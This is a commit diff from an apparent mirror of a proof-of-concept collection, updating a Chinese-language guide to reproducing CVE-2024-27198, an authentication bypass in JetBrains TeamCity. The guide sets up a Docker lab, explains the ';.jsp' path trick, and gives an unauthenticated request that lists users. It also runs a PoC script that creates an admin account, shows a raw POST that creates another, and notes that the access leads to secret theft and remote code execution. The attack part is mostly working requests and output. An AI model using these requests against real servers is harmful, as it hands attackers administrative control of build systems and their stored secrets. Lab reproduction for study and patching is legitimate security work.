mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2026-10-24 08:54:27 +00:00
update CVE-2024-27198
This commit is contained in:
1 parent
2fc6c053d4
commit
d6758c5d37
6 files changed
+24
-9
No files matched your search
+24
-9
@@ -35,11 +35,24 @@ docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server
|
||||
|
||||
服务启动后,需要打开 `http://your-ip:8111/` 并执行一系列初始化操作,创建一个管理员账户。
|
||||
|
||||

|
||||

|
||||
|
||||
> 或通过 Vulhub 启动 TeamCity 2023.11.3 服务器,环境会自动接受许可协议并创建管理员账户,凭据为 `admin:admin`。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
直接使用 [poc](https://github.com/yoryio/CVE-2024-27198) 创建一个新用户:
|
||||
该漏洞的核心是利用路径参数技巧绕过 TeamCity 的认证机制。通过请求一个不存在的 URL,并在 `jsp` 查询参数中指向受保护的 REST API 端点并添加 `;.jsp` 后缀,服务器会在无需认证的情况下将请求转发到内部端点。URL 模式为 `http://your-ip:8111/<不存在的路径>?jsp=/app/rest/<端点>;.jsp`。
|
||||
|
||||
首先,在不提供任何凭据的情况下列出所有管理员用户来验证漏洞是否存在:
|
||||
|
||||
```
|
||||
GET /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
|
||||
Host: your-ip:8111
|
||||
```
|
||||
|
||||
如果服务器存在漏洞,将会在无需认证的情况下返回 TeamCity 的用户列表。
|
||||
|
||||
接下来,使用 [poc](https://github.com/yoryio/CVE-2024-27198) 创建一个新用户 `userthr33/passthr33`:
|
||||
|
||||
```
|
||||
> python CVE-2024-27198.py -t http://your-ip:8111/ -u userthr33 -p passthr33
|
||||
@@ -48,13 +61,13 @@ docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server
|
||||
[+] New user userthr33 created succesfully! Go to http://your-ip:8111//login.html to login with your new credentials :)
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
使用创建的账号 `userthr33/passthr33` 登录:
|
||||
使用创建的账号登录:
|
||||
|
||||

|
||||

|
||||
|
||||
或者手动发包:
|
||||
或者手动发包创建一个新用户 `userthr331/passthr331`:
|
||||
|
||||
```
|
||||
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
|
||||
@@ -77,11 +90,13 @@ Content-Length: 161
|
||||
}
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
使用创建的账号 `userthr331/passthr331` 登录:
|
||||
使用创建的账号登录:
|
||||
|
||||

|
||||

|
||||
|
||||
服务器将返回新创建用户的详细信息,确认已在无需任何认证的情况下成功创建了管理员账户。攻击者现在可以使用创建的凭据登录 TeamCity 并执行任意管理操作,包括管理构建配置、获取服务器中存储的密钥信息,以及上传恶意插件来实现远程代码执行。
|
||||
|
||||
## 漏洞 POC
|
||||
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Reference in new issue
Block a user